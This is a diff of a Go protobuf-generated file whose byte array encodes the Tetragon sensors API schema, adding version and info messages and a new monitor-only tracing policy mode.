0x69, 0x6f, 0x6e, 0x22, 0x84, 0x01, + 0x22, 0x17, 0x0a, 0x15, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, + 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x0a, 0x11, 0x47, 0x65, 0x74, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, + 0x0a, 0x12, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x10, + 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xfa, 0x03, 0x0a, 0x0f, 0x47, 0x65, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x37, 0x0a, 0x06, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, + 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x50, 0x72, + 0x6f, 0x62, 0x65, 0x52, 0x06, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x73, 0x12, 0x35, 0x0a, 0x04, 0x63, + 0x6f, 0x6e, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x56, 0x61, 0x6c, 0x52, 0x04, 0x63, 0x6f, + 0x6e, 0x66, 0x12, 0x39, 0x0a, 0x05, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, + 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x1a, 0x51, 0x0a, + 0x05, 0x50, 0x72, 0x6f, 0x62, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x42, 0x6f, + 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, + 0x1a, 0x47, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x56, 0x61, 0x6c, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x41, + 0x6e, 0x79, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x1a, 0x72, 0x0a, 0x09, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1d, 0x0a, 0x0a, 0x67, 0x6f, 0x5f, 0x76, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x67, 0x6f, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x69, 0x6d, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x6d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x22, 0x84, 0x01, 0x0a, 0x17, 0x44, 0x75, 0x6d, 0x70, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x61, 0x63, 0x68, 0x65, 0x52, 0x65, 0x71, 0x41, 0x72, 0x67, 0x73, 0x12, 0x28, 0x0a, 0x10, 0x73, 0x6b, 0x69, 0x70, 0x5f, 0x7a, 0x65, 0x72, 0x6f, 0x5f, 0x72, 0x65, 0x66, 0x63, 0x6e, 0x74, 0x18, 0x01, 0x20, @@ -2143,125 +2575,125 @@ var file_tetragon_sensors_proto_rawDesc = []byte{ 0x52, 0x52, 0x4f, 0x52, 0x10, 0x04, 0x12, 0x14, 0x0a, 0x10, 0x54, 0x50, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x4c, 0x4f, 0x41, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x50, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x55, 0x4e, 0x4c, 0x4f, 0x41, 0x44, 0x49, - 0x4e, 0x47, 0x10, 0x06, 0x2a, 0x52, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, + 0x4e, 0x47, 0x10, 0x06, 0x2a, 0x6c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x13, 0x0a, 0x0f, 0x54, 0x50, 0x5f, 0x4d, 0x4f, 0x44, 0x45, 0x5f, 0x55, 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x54, 0x50, 0x5f, 0x4d, 0x4f, 0x44, 0x45, 0x5f, 0x45, 0x4e, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x01, 0x12, 0x13, 0x0a, 0x0f, 0x54, 0x50, 0x5f, 0x4d, 0x4f, 0x44, 0x45, 0x5f, 0x4d, - 0x4f, 0x4e, 0x49, 0x54, 0x4f, 0x52, 0x10, 0x02, 0x2a, 0x4b, 0x0a, 0x0a, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x46, 0x6c, 0x61, 0x67, 0x12, 0x19, 0x0a, 0x15, 0x43, 0x4f, 0x4e, 0x46, 0x49, 0x47, - 0x5f, 0x46, 0x4c, 0x41, 0x47, 0x5f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x10, - 0x00, 0x12, 0x22, 0x0a, 0x1e, 0x43, 0x4f, 0x4e, 0x46, 0x49, 0x47, 0x5f, 0x46, 0x4c, 0x41, 0x47, - 0x5f, 0x44, 0x55, 0x4d, 0x50, 0x5f, 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x43, 0x41, - 0x43, 0x48, 0x45, 0x10, 0x01, 0x2a, 0x9b, 0x01, 0x0a, 0x08, 0x4c, 0x6f, 0x67, 0x4c, 0x65, 0x76, - 0x65, 0x6c, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, - 0x50, 0x41, 0x4e, 0x49, 0x43, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, - 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x46, 0x41, 0x54, 0x41, 0x4c, 0x10, 0x01, 0x12, 0x13, 0x0a, 0x0f, - 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x45, 0x52, 0x52, 0x4f, 0x52, 0x10, - 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x57, - 0x41, 0x52, 0x4e, 0x10, 0x03, 0x12, 0x12, 0x0a, 0x0e, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, - 0x45, 0x4c, 0x5f, 0x49, 0x4e, 0x46, 0x4f, 0x10, 0x04, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, - 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x44, 0x45, 0x42, 0x55, 0x47, 0x10, 0x05, 0x12, 0x13, - 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x54, 0x52, 0x41, 0x43, - 0x45, 0x10, 0x06, 0x32, 0xf3, 0x0b, 0x0a, 0x13, 0x46, 0x69, 0x6e, 0x65, 0x47, 0x75, 0x69, 0x64, - 0x61, 0x6e, 0x63, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x09, 0x47, - 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x00, 0x30, 0x01, 0x12, 0x52, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x12, 0x20, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, - 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x5b, 0x0a, 0x10, 0x41, 0x64, 0x64, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x21, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x41, 0x64, 0x64, 0x54, 0x72, 0x61, 0x63, - 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x22, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x41, 0x64, 0x64, 0x54, - 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x64, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x24, 0x2e, + 0x4f, 0x4e, 0x49, 0x54, 0x4f, 0x52, 0x10, 0x02, 0x12, 0x18, 0x0a, 0x14, 0x54, 0x50, 0x5f, 0x4d, + 0x4f, 0x44, 0x45, 0x5f, 0x4d, 0x4f, 0x4e, 0x49, 0x54, 0x4f, 0x52, 0x5f, 0x4f, 0x4e, 0x4c, 0x59, + 0x10, 0x03, 0x2a, 0x4b, 0x0a, 0x0a, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x46, 0x6c, 0x61, 0x67, + 0x12, 0x19, 0x0a, 0x15, 0x43, 0x4f, 0x4e, 0x46, 0x49, 0x47, 0x5f, 0x46, 0x4c, 0x41, 0x47, 0x5f, + 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x10, 0x00, 0x12, 0x22, 0x0a, 0x1e, 0x43, + 0x4f, 0x4e, 0x46, 0x49, 0x47, 0x5f, 0x46, 0x4c, 0x41, 0x47, 0x5f, 0x44, 0x55, 0x4d, 0x50, 0x5f, + 0x50, 0x52, 0x4f, 0x43, 0x45, 0x53, 0x53, 0x5f, 0x43, 0x41, 0x43, 0x48, 0x45, 0x10, 0x01, 0x2a, + 0x9b, 0x01, 0x0a, 0x08, 0x4c, 0x6f, 0x67, 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x12, 0x13, 0x0a, 0x0f, + 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x50, 0x41, 0x4e, 0x49, 0x43, 0x10, + 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x46, + 0x41, 0x54, 0x41, 0x4c, 0x10, 0x01, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, + 0x56, 0x45, 0x4c, 0x5f, 0x45, 0x52, 0x52, 0x4f, 0x52, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4c, + 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x57, 0x41, 0x52, 0x4e, 0x10, 0x03, 0x12, + 0x12, 0x0a, 0x0e, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x49, 0x4e, 0x46, + 0x4f, 0x10, 0x04, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, 0x4c, 0x45, 0x56, 0x45, 0x4c, + 0x5f, 0x44, 0x45, 0x42, 0x55, 0x47, 0x10, 0x05, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x47, 0x5f, + 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x5f, 0x54, 0x52, 0x41, 0x43, 0x45, 0x10, 0x06, 0x32, 0xd5, 0x0b, + 0x0a, 0x13, 0x46, 0x69, 0x6e, 0x65, 0x47, 0x75, 0x69, 0x64, 0x61, 0x6e, 0x63, 0x65, 0x53, 0x65, + 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, + 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x30, 0x01, 0x12, + 0x52, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x20, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x5b, 0x0a, 0x10, 0x41, 0x64, 0x64, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, + 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x21, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x41, 0x64, 0x64, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x41, 0x64, 0x64, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, + 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, + 0x12, 0x64, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, + 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x24, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, + 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, - 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, - 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x64, 0x0a, 0x13, - 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, - 0x69, 0x65, 0x73, 0x12, 0x24, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, + 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x64, 0x0a, 0x13, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, + 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x12, 0x24, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, + 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, - 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, - 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x69, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x00, 0x12, 0x6d, 0x0a, 0x16, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, - 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x27, 0x2e, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, - 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x00, 0x12, 0x67, 0x0a, 0x13, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, - 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x24, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x6d, 0x0a, 0x16, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, + 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x27, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x28, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, + 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x67, 0x0a, 0x13, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, + 0x63, 0x79, 0x12, 0x24, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, - 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x6a, 0x0a, 0x14, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, - 0x63, 0x79, 0x12, 0x25, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, - 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, - 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, - 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 